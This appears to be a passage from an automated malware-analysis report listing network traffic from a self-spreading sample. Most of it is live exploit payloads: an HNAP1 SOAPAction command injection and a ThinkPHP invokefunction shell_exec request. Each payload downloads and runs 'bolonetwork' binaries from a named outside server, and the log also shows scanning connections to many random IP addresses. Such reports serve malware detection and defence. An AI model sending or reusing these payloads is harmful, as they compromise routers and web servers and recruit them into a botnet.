Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Source: unknown	TCP traffic detected without corresponding DNS query: 41.35.143.117
Source: unknown	TCP traffic detected without corresponding DNS query: 41.191.46.135
Source: unknown	TCP traffic detected without corresponding DNS query: 41.126.19.118
Source: unknown	TCP traffic detected without corresponding DNS query: 41.159.246.9
Source: unknown	TCP traffic detected without corresponding DNS query: 208.40.190.49
Source: unknown	TCP traffic detected without corresponding DNS query: 83.219.235.185
Source: unknown	TCP traffic detected without corresponding DNS query: 197.120.43.235
Source: unknown	TCP traffic detected without corresponding DNS query: 157.85.0.74
Source: unknown	TCP traffic detected without corresponding DNS query: 157.52.127.181
Source: unknown	TCP traffic detected without corresponding DNS query: 157.224.167.31
Source: unknown	TCP traffic detected without corresponding DNS query: 41.137.103.156
Source: unknown	TCP traffic detected without corresponding DNS query: 87.223.147.71
Source: unknown	TCP traffic detected without corresponding DNS query: 197.74.153.62
Source: unknown	TCP traffic detected without corresponding DNS query: 41.229.81.75
Source: unknown	TCP traffic detected without corresponding DNS query: 41.45.109.224
Source: unknown	TCP traffic detected without corresponding DNS query: 197.91.179.228
Source: unknown	TCP traffic detected without corresponding DNS query: 197.74.172.239
Source: unknown	TCP traffic detected without corresponding DNS query: 165.176.141.80
Source: unknown	TCP traffic detected without corresponding DNS query: 41.114.141.7
Source: unknown	TCP traffic detected without corresponding DNS query: 41.131.248.46
Source: unknown	TCP traffic detected without corresponding DNS query: 41.83.60.62
Source: unknown	TCP traffic detected without corresponding DNS query: 157.40.125.102
Source: unknown	TCP traffic detected without corresponding DNS query: 197.111.22.191
Source: unknown	TCP traffic detected without corresponding DNS query: 37.73.78.164
Source: unknown	TCP traffic detected without corresponding DNS query: 41.86.21.116
Source: unknown	TCP traffic detected without corresponding DNS query: 197.15.100.69
Source: unknown	TCP traffic detected without corresponding DNS query: 131.228.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 157.186.187.34
Source: unknown	TCP traffic detected without corresponding DNS query: 41.45.46.148
Source: unknown	TCP traffic detected without corresponding DNS query: 41.125.22.144
Source: unknown	TCP traffic detected without corresponding DNS query: 157.51.222.183
Source: unknown	TCP traffic detected without corresponding DNS query: 77.130.62.157
Source: unknown	TCP traffic detected without corresponding DNS query: 87.49.184.97
Source: unknown	TCP traffic detected without corresponding DNS query: 197.17.89.105
Source: unknown	TCP traffic detected without corresponding DNS query: 197.238.247.226
Source: unknown	TCP traffic detected without corresponding DNS query: 45.30.227.83
Source: unknown	TCP traffic detected without corresponding DNS query: 150.5.61.254
Source: unknown	TCP traffic detected without corresponding DNS query: 197.255.79.72
Source: unknown	TCP traffic detected without corresponding DNS query: 197.123.150.76
Source: unknown	TCP traffic detected without corresponding DNS query: 187.121.7.198
Source: unknown	TCP traffic detected without corresponding DNS query: 41.193.165.102
Source: unknown	TCP traffic detected without corresponding DNS query: 41.41.223.240
Source: unknown	TCP traffic detected without corresponding DNS query: 197.163.162.238
Source: unknown	TCP traffic detected without corresponding DNS query: 41.118.230.116
Source: unknown	TCP traffic detected without corresponding DNS query: 157.84.231.233
Source: unknown	TCP traffic detected without corresponding DNS query: 157.168.107.181
Source: unknown	TCP traffic detected without corresponding DNS query: 157.228.220.213
Source: unknown	TCP traffic detected without corresponding DNS query: 186.126.223.203
Source: unknown	TCP traffic detected without corresponding DNS query: 32.67.227.143
Source: unknown	TCP traffic detected without corresponding DNS query: 114.204.237.180

Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Bulu/2.0
